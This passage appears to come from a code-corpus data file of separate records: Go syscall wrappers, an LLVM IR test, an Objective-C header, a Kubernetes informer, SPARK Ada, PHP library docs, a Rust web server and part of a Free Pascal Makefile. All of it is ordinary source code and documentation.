(*byte)(unsafe.Pointer(ptr))\n\tmsg.Namelen = uint32(salen)\n\tvar iov Iovec\n\tif len(p) > 0 {\n\t\tiov.Base = (*byte)(unsafe.Pointer(&p[0]))\n\t\tiov.SetLen(len(p))\n\t}\n\tvar dummy byte\n\tif len(oob) > 0 {\n\t\t// send at least one normal byte\n\t\tif len(p) == 0 {\n\t\t\tiov.Base = &dummy\n\t\t\tiov.SetLen(1)\n\t\t}\n\t\tmsg.Control = (*byte)(unsafe.Pointer(&oob[0]))\n\t\tmsg.SetControllen(len(oob))\n\t}\n\tmsg.Iov = &iov\n\tmsg.Iovlen = 1\n\tif n, err = sendmsg(fd, &msg, flags); err != nil {\n\t\treturn 0, err\n\t}\n\tif len(oob) > 0 && len(p) == 0 {\n\t\tn = 0\n\t}\n\treturn n, nil\n}\n\n//sys\tkevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, nevent int, timeout *Timespec) (n int, err error)\n\nfunc Kevent(kq int, changes, events []Kevent_t, timeout *Timespec) (n int, err error) {\n\tvar change, event unsafe.Pointer\n\tif len(changes) > 0 {\n\t\tchange = unsafe.Pointer(&changes[0])\n\t}\n\tif len(events) > 0 {\n\t\tevent = unsafe.Pointer(&events[0])\n\t}\n\treturn kevent(kq, change, len(changes), event, len(events), timeout)\n}\n\n// sysctlmib translates name to mib number and appends any additional args.\nfunc sysctlmib(name string, args ...int) ([]_C_int, error) {\n\t// Translate name to mib number.\n\tmib, err := nametomib(name)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, a := range args {\n\t\tmib = append(mib, _C_int(a))\n\t}\n\n\treturn mib, nil\n}\n\nfunc Sysctl(name string) (string, error) {\n\treturn SysctlArgs(name)\n}\n\nfunc SysctlArgs(name string, args ...int) (string, error) {\n\tbuf, err := SysctlRaw(name, args...)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tn := len(buf)\n\n\t// Throw away terminating NUL.\n\tif n > 0 && buf[n-1] == '\\x00' {\n\t\tn--\n\t}\n\treturn string(buf[0:n]), nil\n}\n\nfunc SysctlUint32(name string) (uint32, error) {\n\treturn SysctlUint32Args(name)\n}\n\nfunc SysctlUint32Args(name string, args ...int) (uint32, error) {\n\tmib, err := sysctlmib(name, args...)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tn := uintptr(4)\n\tbuf := make([]byte, 4)\n\tif err := sysctl(mib, &buf[0], &n, nil, 0); err != nil {\n\t\treturn 0, err\n\t}\n\tif n != 4 {\n\t\treturn 0, EIO\n\t}\n\treturn *(*uint32)(unsafe.Pointer(&buf[0])), nil\n}\n\nfunc SysctlUint64(name string, args ...int) (uint64, error) {\n\tmib, err := sysctlmib(name, args...)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tn := uintptr(8)\n\tbuf := make([]byte, 8)\n\tif err := sysctl(mib, &buf[0], &n, nil, 0); err != nil {\n\t\treturn 0, err\n\t}\n\tif n != 8 {\n\t\treturn 0, EIO\n\t}\n\treturn *(*uint64)(unsafe.Pointer(&buf[0])), nil\n}\n\nfunc SysctlRaw(name string, args ...int) ([]byte, error) {\n\tmib, err := sysctlmib(name, args...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Find size.\n\tn := uintptr(0)\n\tif err := sysctl(mib, nil, &n, nil, 0); err != nil {\n\t\treturn nil, err\n\t}\n\tif n == 0 {\n\t\treturn nil, nil\n\t}\n\n\t// Read into buffer of that size.\n\tbuf := make([]byte, n)\n\tif err := sysctl(mib, &buf[0], &n, nil, 0); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// The actual call may return less than the original reported required\n\t// size so ensure we deal with that.\n\treturn buf[:n], nil\n}\n\nfunc SysctlClockinfo(name string) (*Clockinfo, error) {\n\tmib, err := sysctlmib(name)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tn := uintptr(SizeofClockinfo)\n\tvar ci Clockinfo\n\tif err := sysctl(mib, (*byte)(unsafe.Pointer(&ci)), &n, nil, 0); err != nil {\n\t\treturn nil, err\n\t}\n\tif n != SizeofClockinfo {\n\t\treturn nil, EIO\n\t}\n\treturn &ci, nil\n}\n\n//sys\tutimes(path string, timeval *[2]Timeval) (err error)\n\nfunc Utimes(path string, tv []Timeval) error {\n\tif tv == nil {\n\t\treturn utimes(path, nil)\n\t}\n\tif len(tv) != 2 {\n\t\treturn EINVAL\n\t}\n\treturn utimes(path, (*[2]Timeval)(unsafe.Pointer(&tv[0])))\n}\n\nfunc UtimesNano(path string, ts []Timespec) error {\n\tif ts == nil {\n\t\terr := utimensat(AT_FDCWD, path, nil, 0)\n\t\tif err != ENOSYS {\n\t\t\treturn err\n\t\t}\n\t\treturn utimes(path, nil)\n\t}\n\tif len(ts) != 2 {\n\t\treturn EINVAL\n\t}\n\t// Darwin setattrlist can set nanosecond timestamps\n\terr := setattrlistTimes(path, ts, 0)\n\tif err != ENOSYS {\n\t\treturn err\n\t}\n\terr = utimensat(AT_FDCWD, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), 0)\n\tif err != ENOSYS {\n\t\treturn err\n\t}\n\t// Not as efficient as it could be because Timespec and\n\t// Timeval have different types in the different OSes\n\ttv := [2]Timeval{\n\t\tNsecToTimeval(TimespecToNsec(ts[0])),\n\t\tNsecToTimeval(TimespecToNsec(ts[1])),\n\t}\n\treturn utimes(path, (*[2]Timeval)(unsafe.Pointer(&tv[0])))\n}\n\nfunc UtimesNanoAt(dirfd int, path string, ts []Timespec, flags int) error {\n\tif ts == nil {\n\t\treturn utimensat(dirfd, path, nil, flags)\n\t}\n\tif len(ts) != 2 {\n\t\treturn EINVAL\n\t}\n\terr := setattrlistTimes(path, ts, flags)\n\tif err != ENOSYS {\n\t\treturn err\n\t}\n\treturn utimensat(dirfd, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), flags)\n}\n\n//sys\tfutimes(fd int, timeval *[2]Timeval) (err error)\n\nfunc Futimes(fd int, tv []Timeval) error {\n\tif tv == nil {\n\t\treturn futimes(fd, nil)\n\t}\n\tif len(tv) != 2 {\n\t\treturn EINVAL\n\t}\n\treturn futimes(fd, (*[2]Timeval)(unsafe.Pointer(&tv[0])))\n}\n\n//sys poll(fds *PollFd, nfds int, timeout int) (n int, err error)\n\nfunc Poll(fds []PollFd, timeout int) (n int, err error) {\n\tif len(fds) == 0 {\n\t\treturn poll(nil, 0, timeout)\n\t}\n\treturn poll(&fds[0], len(fds), timeout)\n}\n\n// TODO: wrap\n//\tAcct(name nil-string) (err error)\n//\tGethostuuid(uuid *byte, timeout *Timespec) (err error)\n//\tPtrace(req int, pid int, addr uintptr, data int) (ret uintptr, err error)\n\nvar mapper = &mmapper{\n\tactive: make(map[*byte][]byte),\n\tmmap: mmap,\n\tmunmap: munmap,\n}\n\nfunc Mmap(fd int, offset int64, length int, prot int, flags int) (data []byte, err error) {\n\treturn mapper.Mmap(fd, offset, length, prot, flags)\n}\n\nfunc Munmap(b []byte) (err error) {\n\treturn mapper.Munmap(b)\n}\n\n//sys\tMadvise(b []byte, behav int) (err error)\n//sys\tMlock(b []byte) (err error)\n//sys\tMlockall(flags int) (err error)\n//sys\tMprotect(b []byte, prot int) (err error)\n//sys\tMsync(b []byte, flags int) (err error)\n//sys\tMunlock(b []byte) (err error)\n//sys\tMunlockall() (err error)\n"} -{"text": "; RUN: llc < %s\n\ndefine void @foo() {\n\tbr label %cond_true813.i\n\ncond_true813.i:\t\t; preds = %0\n\tbr i1 false, label %cond_true818.i, label %cond_next1146.i\n\ncond_true818.i:\t\t; preds = %cond_true813.i\n\tbr i1 false, label %recog_memoized.exit52, label %cond_next1146.i\n\nrecog_memoized.exit52:\t\t; preds = %cond_true818.i\n\tswitch i32 0, label %bb886.i.preheader [\n\t\t i32 0, label %bb907.i\n\t\t i32 44, label %bb866.i\n\t\t i32 103, label %bb874.i\n\t\t i32 114, label %bb874.i\n\t]\n\nbb857.i:\t\t; preds = %bb886.i, %bb866.i\n\t%tmp862.i494.24 = phi i8* [ null, %bb866.i ], [ %tmp862.i494.26, %bb886.i ]\t\t; [#uses=4]\n\tswitch i32 0, label %bb886.i.preheader [\n\t\t i32 0, label %bb907.i\n\t\t i32 44, label %bb866.i\n\t\t i32 103, label %bb874.i\n\t\t i32 114, label %bb874.i\n\t]\n\nbb866.i.loopexit:\t\t; preds = %bb874.i\n\tbr label %bb866.i\n\nbb866.i.loopexit31:\t\t; preds = %cond_true903.i\n\tbr label %bb866.i\n\nbb866.i:\t\t; preds = %bb866.i.loopexit31, %bb866.i.loopexit, %bb857.i, %recog_memoized.exit52\n\tbr i1 false, label %bb907.i, label %bb857.i\n\nbb874.i.preheader.loopexit:\t\t; preds = %cond_true903.i, %cond_true903.i\n\tret void\n\nbb874.i:\t\t; preds = %bb857.i, %bb857.i, %recog_memoized.exit52, %recog_memoized.exit52\n\t%tmp862.i494.25 = phi i8* [ %tmp862.i494.24, %bb857.i ], [ %tmp862.i494.24, %bb857.i ], [ undef, %recog_memoized.exit52 ], [ undef, %recog_memoized.exit52 ]\t\t; [#uses=1]\n\tswitch i32 0, label %bb886.i.preheader.loopexit [\n\t\t i32 0, label %bb907.i\n\t\t i32 44, label %bb866.i.loopexit\n\t\t i32 103, label %bb874.i.backedge\n\t\t i32 114, label %bb874.i.backedge\n\t]\n\nbb874.i.backedge:\t\t; preds = %bb874.i, %bb874.i\n\tret void\n\nbb886.i.preheader.loopexit:\t\t; preds = %bb874.i\n\tret void\n\nbb886.i.preheader:\t\t; preds = %bb857.i, %recog_memoized.exit52\n\t%tmp862.i494.26 = phi i8* [ undef, %recog_memoized.exit52 ], [ %tmp862.i494.24, %bb857.i ]\t\t; [#uses=1]\n\tbr label %bb886.i\n\nbb886.i:\t\t; preds = %cond_true903.i, %bb886.i.preheader\n\tbr i1 false, label %bb857.i, label %cond_true903.i\n\ncond_true903.i:\t\t; preds = %bb886.i\n\tswitch i32 0, label %bb886.i [\n\t\t i32 0, label %bb907.i\n\t\t i32 44, label %bb866.i.loopexit31\n\t\t i32 103, label %bb874.i.preheader.loopexit\n\t\t i32 114, label %bb874.i.preheader.loopexit\n\t]\n\nbb907.i:\t\t; preds = %cond_true903.i, %bb874.i, %bb866.i, %bb857.i, %recog_memoized.exit52\n\t%tmp862.i494.0 = phi i8* [ %tmp862.i494.24, %bb857.i ], [ null, %bb866.i ], [ undef, %recog_memoized.exit52 ], [ %tmp862.i494.25, %bb874.i ], [ null, %cond_true903.i ]\t\t; [#uses=1]\n\tbr i1 false, label %cond_next1146.i, label %cond_true910.i\n\ncond_true910.i:\t\t; preds = %bb907.i\n\tret void\n\ncond_next1146.i:\t\t; preds = %bb907.i, %cond_true818.i, %cond_true813.i\n\t%tmp862.i494.1 = phi i8* [ %tmp862.i494.0, %bb907.i ], [ undef, %cond_true818.i ], [ undef, %cond_true813.i ]\t\t; [#uses=0]\n\tret void\n\nbb2060.i:\t\t; No predecessors!\n\tbr i1 false, label %cond_true2064.i, label %bb2067.i\n\ncond_true2064.i:\t\t; preds = %bb2060.i\n\tunreachable\n\nbb2067.i:\t\t; preds = %bb2060.i\n\tret void\n\ncond_next3473:\t\t; No predecessors!\n\tret void\n\ncond_next3521:\t\t; No predecessors!\n\tret void\n}\n"} -{"text": "//\n// DTXAsyncStorageViewController.h\n// DetoxInstruments\n//\n// Created by Leo Natan (Wix) on 1/12/20.\n// Copyright \u00a9 2017-2020 Wix. All rights reserved.\n//\n\n#import \n#import \"DTXProfilingTargetManagement.h\"\n\n@interface DTXAsyncStorageViewController : NSViewController \n\n@end\n"} -{"text": "\n\n\n\n\n"} -{"text": "/*\nCopyright The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\n// Code generated by informer-gen. DO NOT EDIT.\n\npackage v1\n\nimport (\n\ttime \"time\"\n\n\tcore_v1 \"k8s.io/api/core/v1\"\n\tmeta_v1 \"k8s.io/apimachinery/pkg/apis/meta/v1\"\n\truntime \"k8s.io/apimachinery/pkg/runtime\"\n\twatch \"k8s.io/apimachinery/pkg/watch\"\n\tinternalinterfaces \"k8s.io/client-go/informers/internalinterfaces\"\n\tkubernetes \"k8s.io/client-go/kubernetes\"\n\tv1 \"k8s.io/client-go/listers/core/v1\"\n\tcache \"k8s.io/client-go/tools/cache\"\n)\n\n// ServiceInformer provides access to a shared informer and lister for\n// Services.\ntype ServiceInformer interface {\n\tInformer() cache.SharedIndexInformer\n\tLister() v1.ServiceLister\n}\n\ntype serviceInformer struct {\n\tfactory internalinterfaces.SharedInformerFactory\n\ttweakListOptions internalinterfaces.TweakListOptionsFunc\n\tnamespace string\n}\n\n// NewServiceInformer constructs a new informer for Service type.\n// Always prefer using an informer factory to get a shared informer instead of getting an independent\n// one. This reduces memory footprint and number of connections to the server.\nfunc NewServiceInformer(client kubernetes.Interface, namespace string, resyncPeriod time.Duration, indexers cache.Indexers) cache.SharedIndexInformer {\n\treturn NewFilteredServiceInformer(client, namespace, resyncPeriod, indexers, nil)\n}\n\n// NewFilteredServiceInformer constructs a new informer for Service type.\n// Always prefer using an informer factory to get a shared informer instead of getting an independent\n// one. This reduces memory footprint and number of connections to the server.\nfunc NewFilteredServiceInformer(client kubernetes.Interface, namespace string, resyncPeriod time.Duration, indexers cache.Indexers, tweakListOptions internalinterfaces.TweakListOptionsFunc) cache.SharedIndexInformer {\n\treturn cache.NewSharedIndexInformer(\n\t\t&cache.ListWatch{\n\t\t\tListFunc: func(options meta_v1.ListOptions) (runtime.Object, error) {\n\t\t\t\tif tweakListOptions != nil {\n\t\t\t\t\ttweakListOptions(&options)\n\t\t\t\t}\n\t\t\t\treturn client.CoreV1().Services(namespace).List(options)\n\t\t\t},\n\t\t\tWatchFunc: func(options meta_v1.ListOptions) (watch.Interface, error) {\n\t\t\t\tif tweakListOptions != nil {\n\t\t\t\t\ttweakListOptions(&options)\n\t\t\t\t}\n\t\t\t\treturn client.CoreV1().Services(namespace).Watch(options)\n\t\t\t},\n\t\t},\n\t\t&core_v1.Service{},\n\t\tresyncPeriod,\n\t\tindexers,\n\t)\n}\n\nfunc (f *serviceInformer) defaultInformer(client kubernetes.Interface, resyncPeriod time.Duration) cache.SharedIndexInformer {\n\treturn NewFilteredServiceInformer(client, f.namespace, resyncPeriod, cache.Indexers{cache.NamespaceIndex: cache.MetaNamespaceIndexFunc}, f.tweakListOptions)\n}\n\nfunc (f *serviceInformer) Informer() cache.SharedIndexInformer {\n\treturn f.factory.InformerFor(&core_v1.Service{}, f.defaultInformer)\n}\n\nfunc (f *serviceInformer) Lister() v1.ServiceLister {\n\treturn v1.NewServiceLister(f.Informer().GetIndexer())\n}\n"} -{"text": "package body Greatest_Common_Divisor\n with SPARK_Mode\nis\n procedure G_C_D (M, N : in Natural; G : out Natural)\n is\n C, D, R : Natural;\n begin\n C := M; D := N;\n loop\n pragma Loop_Invariant (Gcd (C, D) = Gcd (M, N));\n\n -- FIXME workaround for [N410-033]\n exit when D = 0;\n\n R := C mod D;\n C := D; D := R;\n end loop;\n G := C;\n end G_C_D;\n\nend Greatest_Common_Divisor;\n"} -{"text": "---\nlayout: default\ntitle: Uri\nredirect_from:\n - /5.0/\n---\n\n# Overview\n\n[![Author](//img.shields.io/badge/author-@nyamsprod-blue.svg?style=flat-square)](https://twitter.com/nyamsprod)\n[![Source Code](//img.shields.io/badge/source-league/uri-blue.svg?style=flat-square)](https://github.com/thephpleague/uri)\n[![Latest Stable Version](//img.shields.io/github/release/thephpleague/uri.svg?style=flat-square)](https://packagist.org/packages/league/uri)\n[![Software License](//img.shields.io/badge/license-MIT-brightgreen.svg?style=flat-square)](LICENSE.md)\n[![Build Status](//img.shields.io/travis/thephpleague/uri/master.svg?style=flat-square)](https://travis-ci.org/thephpleague/uri)\n[![Total Downloads](//img.shields.io/packagist/dt/league/uri.svg?style=flat-square)](https://packagist.org/packages/league/uri)\n\nThe library is a **meta package** which provides simple and intuitive classes to parse, validate and manipulate URIs and their components in PHP.\n\n

    We no longer recommend installing this package directly.

    \n\n## System Requirements\n\n* **PHP >= 7.0.13** but the latest stable version of PHP is recommended;\n* `mbstring` extension;\n* `intl` extension;\n\n## Install\n\nThe package is a metapackage that aggregates all components related to processing and manipulating URI in PHP; in most cases, you will want a subset, and these may be installed separately.\n\nThe following components are part of the metapackage:\n\n- [League Uri Parser](/parser/1.0/)\n- [League Uri Schemes](/schemes/1.0/)\n- [League Uri Components](/components/1.0/)\n- [League Uri Manipulations](/manipulations/1.0/)\n- [League Uri Hostname Parser](/domain-parser/1.0/) *since version 5.2 in replacement of PHP Domain Parser version 3.0*\n\nThe primary use case for installing the entire suite is when upgrading from a version 4 release.\n\nIf you decide you still want to install the entire [suite]( https://packagist.org/packages/league/uri) use [Composer](https://getcomposer.org/). This can be done by running the following command on a composer installed box:\n\n~~~bash\n$ composer require league/uri\n~~~\n\nMost modern frameworks will include Composer out of the box, but ensure the following file is included:\n\n~~~php\n {\n rouille::Response::from_data(\"text/plain\", \"Hello, World!\")\n },\n (GET) (/json) => {\n let json = json!({\"message\": \"Hello, World!\"});\n rouille::Response::from_data(\"application/json\", json.to_string())\n },\n _ => rouille::Response::empty_404()\n )\n });\n}\n"} -{"text": "#\n# Don't edit, this file is generated by FPCMake Version 2.0.0\n#\ndefault: all\nMAKEFILETARGETS=i386-linux i386-go32v2 i386-win32 i386-os2 i386-freebsd i386-beos i386-haiku i386-netbsd i386-solaris i386-netware i386-openbsd i386-wdosx i386-darwin i386-emx i386-watcom i386-netwlibc i386-wince i386-embedded i386-symbian i386-nativent i386-iphonesim i386-android i386-aros m68k-linux m68k-netbsd m68k-amiga m68k-atari m68k-palmos m68k-macosclassic m68k-embedded powerpc-linux powerpc-netbsd powerpc-amiga powerpc-macosclassic powerpc-darwin powerpc-morphos powerpc-embedded powerpc-wii powerpc-aix sparc-linux sparc-netbsd sparc-solaris sparc-embedded x86_64-linux x86_64-freebsd x86_64-haiku x86_64-netbsd x86_64-solaris x86_64-openbsd x86_64-darwin x86_64-win64 x86_64-embedded x86_64-iphonesim x86_64-android x86_64-aros x86_64-dragonfly arm-linux arm-netbsd arm-palmos arm-wince arm-gba arm-nds arm-embedded arm-symbian arm-android arm-aros arm-freertos arm-ios powerpc64-linux powerpc64-darwin powerpc64-embedded powerpc64-aix avr-embedded armeb-linux armeb-embedded mips-linux mipsel-linux mipsel-embedded mipsel-android mips64el-linux jvm-java jvm-android i8086-embedded i8086-msdos i8086-win16 aarch64-linux aarch64-darwin aarch64-win64 aarch64-android aarch64-ios wasm-wasm sparc64-linux riscv32-linux riscv32-embedded riscv64-linux riscv64-embedded xtensa-linux xtensa-embedded xtensa-freertos z80-embedded z80-zxspectrum z80-msxdos\nBSDs = freebsd netbsd openbsd darwin dragonfly\nUNIXs = linux $(BSDs) solaris qnx haiku aix\nLIMIT83fs = go32v2 os2 emx watcom msdos win16 atari\nOSNeedsComspecToRunBatch = go32v2 watcom\nFORCE:\n.PHONY: FORCE\noverride PATH:=$(patsubst %/,%,$(subst \\,/,$(PATH)))\nifneq ($(findstring darwin,$(OSTYPE)),)\ninUnix=1 #darwin\nSEARCHPATH:=$(filter-out .,$(subst :, ,$(PATH)))\nelse\nifeq ($(findstring ;,$(PATH)),)\ninUnix=1\nSEARCHPATH:=$(filter-out .,$(subst :, ,$(PATH)))\nelse\nSEARCHPATH:=$(subst ;, ,$(PATH))\nendif\nendif\nSEARCHPATH+=$(patsubst %/,%,$(subst \\,/,$(dir $(MAKE))))\nPWD:=$(strip $(wildcard $(addsuffix /pwd.exe,$(SEARCHPATH))))\nifeq ($(PWD),)\nPWD:=$(strip $(wildcard $(addsuffix /pwd,$(SEARCHPATH))))\nifeq ($(PWD),)\n$(error You need the GNU utils package to use this Makefile)\nelse\nPWD:=$(firstword $(PWD))\nSRCEXEEXT=\nendif\nelse\nPWD:=$(firstword $(PWD))\nSRCEXEEXT=.exe\nendif\nifndef inUnix\nifeq ($(OS),Windows_NT)\ninWinNT=1\nelse\nifdef OS2_SHELL\ninOS2=1\nendif\nendif\nelse\nifneq ($(findstring cygdrive,$(PATH)),)\ninCygWin=1\nendif\nendif\nifdef inUnix\nSRCBATCHEXT=.sh\nelse\nifdef inOS2\nSRCBATCHEXT=.cmd\nelse\nSRCBATCHEXT=.bat\nendif\nendif\nifdef COMSPEC\nifneq ($(findstring $(OS_SOURCE),$(OSNeedsComspecToRunBatch)),)\nifndef RUNBATCH\nRUNBATCH=$(COMSPEC) /C\nendif\nendif\nendif\nifdef inUnix\nPATHSEP=/\nelse\nPATHSEP:=$(subst /,\\,/)\nifdef inCygWin\nPATHSEP=/\nendif\nendif\nifdef PWD\nBASEDIR:=$(subst \\,/,$(shell $(PWD)))\nifdef inCygWin\nifneq ($(findstring /cygdrive/,$(BASEDIR)),)\nBASENODIR:=$(patsubst /cygdrive%,%,$(BASEDIR))\nBASEDRIVE:=$(firstword $(subst /, ,$(BASENODIR)))\nBASEDIR:=$(subst /cygdrive/$(BASEDRIVE)/,$(BASEDRIVE):/,$(BASEDIR))\nendif\nendif\nelse\nBASEDIR=.\nendif\nifdef inOS2\nifndef ECHO\nECHO:=$(strip $(wildcard $(addsuffix /gecho$(SRCEXEEXT),$(SEARCHPATH))))\nifeq ($(ECHO),)\nECHO:=$(strip $(wildcard $(addsuffix /echo$(SRCEXEEXT),$(SEARCHPATH))))\nifeq ($(ECHO),)\nECHO=echo\nelse\nECHO:=$(firstword $(ECHO))\nendif\nelse\nECHO:=$(firstword $(ECHO))\nendif\nendif\nexport ECHO\nendif\noverride DEFAULT_FPCDIR=../..\nifndef FPC\nifdef PP\nFPC=$(PP)\nendif\nendif\nifndef FPC\nFPCPROG:=$(strip $(wildcard $(addsuffix /fpc$(SRCEXEEXT),$(SEARCHPATH))))\nifneq ($(FPCPROG),)\nFPCPROG:=$(firstword $(FPCPROG))\nifneq ($(CPU_TARGET),)\nFPC:=$(shell $(FPCPROG) -P$(CPU_TARGET) -PB)\nelse\nFPC:=$(shell $(FPCPROG) -PB)\nendif\nifneq ($(findstring Error,$(FPC)),)\noverride FPC=$(firstword $(strip $(wildcard $(addsuffix /ppc386$(SRCEXEEXT),$(SEARCHPATH)))))\nelse\nifeq ($(strip $(wildcard $(FPC))),)\nFPC:=$(firstword $(FPCPROG))\nendif\nendif\nelse\noverride FPC=$(firstword $(strip $(wildcard $(addsuffix /ppc386$(SRCEXEEXT),$(SEARCHPATH)))))\nendif\nendif\noverride FPC:=$(subst $(SRCEXEEXT),,$(FPC))\noverride FPC:=$(subst \\,/,$(FPC))$(SRCEXEEXT)\nFOUNDFPC:=$(strip $(wildcard $(FPC)))\nifeq ($(FOUNDFPC),)\nFOUNDFPC=$(strip $(wildcard $(addsuffix /$(FPC),$(SEARCHPATH))))\nifeq ($(FOUNDFPC),)\n$(error Compiler $(FPC) not found)\nendif\nendif\nifndef FPC_COMPILERINFO\nFPC_COMPILERINFO:=$(shell $(FPC) -iVSPTPSOTO)\nendif\nifndef FPC_VERSION\nFPC_VERSION:=$(word 1,$(FPC_COMPILERINFO))\nendif\nexport FPC FPC_VERSION FPC_COMPILERINFO\nunexport CHECKDEPEND ALLDEPENDENCIES\nifndef CPU_TARGET\nifdef CPU_TARGET_DEFAULT\nCPU_TARGET=$(CPU_TARGET_DEFAULT)\nendif\nendif\nifndef OS_TARGET\nifdef OS_TARGET_DEFAULT\nOS_TARGET=$(OS_TARGET_DEFAULT)\nendif\nendif\nifndef CPU_SOURCE\nCPU_SOURCE:=$(word 2,$(FPC_COMPILERINFO))\nendif\nifndef CPU_TARGET\nCPU_TARGET:=$(word 3,$(FPC_COMPILERINFO))\nendif\nifndef OS_SOURCE\nOS_SOURCE:=$(word 4,$(FPC_COMPILERINFO))\nendif\nifndef OS_TARGET\nOS_TARGET:=$(word 5,$(FPC_COMPILERINFO))\nendif\nFULL_TARGET=$(CPU_TARGET)-$(OS_TARGET)\nFULL_SOURCE=$(CPU_SOURCE)-$(OS_SOURCE)\nifeq ($(CPU_TARGET),armeb)\nARCH=arm\noverride FPCOPT+=-Cb\nelse\nifeq ($(CPU_TARGET),armel)\nARCH=arm\noverride FPCOPT+=-CaEABI\nelse\nARCH=$(CPU_TARGET)\nendif\nendif\nifeq ($(FULL_TARGET),arm-embedded)\nifeq ($(SUBARCH),)\n$(error When compiling for arm-embedded, a sub-architecture (e.g. SUBARCH=armv4t or SUBARCH=armv7m) must be defined)\nendif\noverride FPCOPT+=-Cp$(SUBARCH)\nendif\nifeq ($(FULL_TARGET),avr-embedded)\nifeq ($(SUBARCH),)\n$(error When compiling for avr-embedded, a sub-architecture (e.g. SUBARCH=avr25 or SUBARCH=avr35) must be defined)\nendif\noverride FPCOPT+=-Cp$(SUBARCH)\nendif\nifeq ($(FULL_TARGET),mipsel-embedded)\nifeq ($(SUBARCH),)\n$(error When compiling for mipsel-embedded, a sub-architecture (e.g. SUBARCH=pic32mx) must be defined)\nendif\noverride FPCOPT+=-Cp$(SUBARCH)\nendif\nifeq ($(FULL_TARGET),xtensa-embedded)\nifeq ($(SUBARCH),)\n$(error When compiling for xtensa-embedded, a sub-architecture (e.g. SUBARCH=lx106 or SUBARCH=lx6) must be defined)\nendif\noverride FPCOPT+=-Cp$(SUBARCH)\nendif\nifeq ($(FULL_TARGET),xtensa-freertos)\nifeq ($(SUBARCH),)\n$(error When compiling for xtensa-freertos, a sub-architecture (e.g. SUBARCH=lx106 or SUBARCH=lx6) must be defined)\nendif\noverride FPCOPT+=-Cp$(SUBARCH)\nendif\nifeq ($(FULL_TARGET),arm-freertos)\nifeq ($(SUBARCH),)\n$(error When compiling for arm-freertos, a sub-architecture (e.g. SUBARCH=armv6m or SUBARCH=armv7em) must be defined)\nendif\noverride FPCOPT+=-Cp$(SUBARCH)\nendif\nifneq ($(findstring $(OS_SOURCE),$(LIMIT83fs)),)\nTARGETSUFFIX=$(OS_TARGET)\nSOURCESUFFIX=$(OS_SOURCE)\nelse\nifneq ($(findstring $(OS_TARGET),$(LIMIT83fs)),)\nTARGETSUFFIX=$(OS_TARGET)\nelse\nTARGETSUFFIX=$(FULL_TARGET)\nendif\nSOURCESUFFIX=$(FULL_SOURCE)\nendif\nifneq ($(FULL_TARGET),$(FULL_SOURCE))\nCROSSCOMPILE=1\nendif\nifeq ($(findstring makefile,$(MAKECMDGOALS)),)\nifeq ($(findstring $(FULL_TARGET),$(MAKEFILETARGETS)),)\n$(error The Makefile doesn't support target $(FULL_TARGET), please run fpcmake first)\nendif\nendif\nifneq ($(findstring $(OS_TARGET),$(BSDs)),)\nBSDhier=1\nendif\nifeq ($(OS_TARGET),linux)\nlinuxHier=1\nendif\nifndef CROSSCOMPILE\nBUILDFULLNATIVE=1\nexport BUILDFULLNATIVE\nendif\nifdef BUILDFULLNATIVE\nBUILDNATIVE=1\nexport BUILDNATIVE\nendif\nexport OS_TARGET OS_SOURCE ARCH CPU_TARGET CPU_SOURCE FULL_TARGET FULL_SOURCE TARGETSUFFIX SOURCESUFFIX CROSSCOMPILE\nifdef FPCDIR\noverride FPCDIR:=$(subst \\,/,$(FPCDIR))\nifeq ($(wildcard $(addprefix $(FPCDIR)/,rtl)),)\noverride FPCDIR=wrong\nendif\nelse\noverride FPCDIR=wrong\nendif\nifdef DEFAULT_FPCDIR\nifeq ($(FPCDIR),wrong)\noverride FPCDIR:=$(subst \\,/,$(DEFAULT_FPCDIR))\nifeq ($(wildcard $(addprefix $(FPCDIR)/,rtl)),)\noverride FPCDIR=wrong\nendif\nendif\nendif\nifeq ($(FPCDIR),wrong)\nifdef inUnix\noverride FPCDIR=/usr/local/lib/fpc/$(FPC_VERSION)\nifeq ($(wildcard $(FPCDIR)/units),)\noverride FPCDIR=/usr/lib/fpc/$(FPC_VERSION)\nendif\nelse\noverride FPCDIR:=$(subst /$(FPC),,$(firstword $(strip $(wildcard $(addsuffix /$(FPC),$(SEARCHPATH))))))\noverride FPCDIR:=$(FPCDIR)/..\nifeq ($(wildcard $(addprefix $(FPCDIR)/,rtl)),)\noverride FPCDIR:=$(FPCDIR)/..\nifeq ($(wildcard $(addprefix $(FPCDIR)/,rtl)),)\noverride FPCDIR:=$(BASEDIR)\nifeq ($(wildcard $(addprefix $(FPCDIR)/,rtl)),)\noverride FPCDIR=c:/pp\nendif\nendif\nendif\nendif\nendif\nifndef CROSSBINDIR\nCROSSBINDIR:=$(wildcard $(FPCDIR)/bin/$(TARGETSUFFIX))\nendif\nifneq ($(findstring $(OS_TARGET),darwin iphonesim ios),)\nifneq ($(findstring $(OS_SOURCE),darwin ios),)\nDARWIN2DARWIN=1\nendif\nendif\nifndef BINUTILSPREFIX\nifndef CROSSBINDIR\nifdef CROSSCOMPILE\nifneq ($(OS_TARGET),msdos)\nifndef DARWIN2DARWIN\nifneq ($(CPU_TARGET),jvm)\nBINUTILSPREFIX=$(CPU_TARGET)-$(OS_TARGET)-\nifeq ($(OS_TARGET),android)\nifeq ($(CPU_TARGET),arm)\nBINUTILSPREFIX=arm-linux-androideabi-\nelse\nifeq ($(CPU_TARGET),i386)\nBINUTILSPREFIX=i686-linux-android-\nelse\nBINUTILSPREFIX=$(CPU_TARGET)-linux-android-\nendif\nendif\nendif\nendif\nendif\nelse\nBINUTILSPREFIX=$(OS_TARGET)-\nendif\nendif\nendif\nendif\nUNITSDIR:=$(wildcard 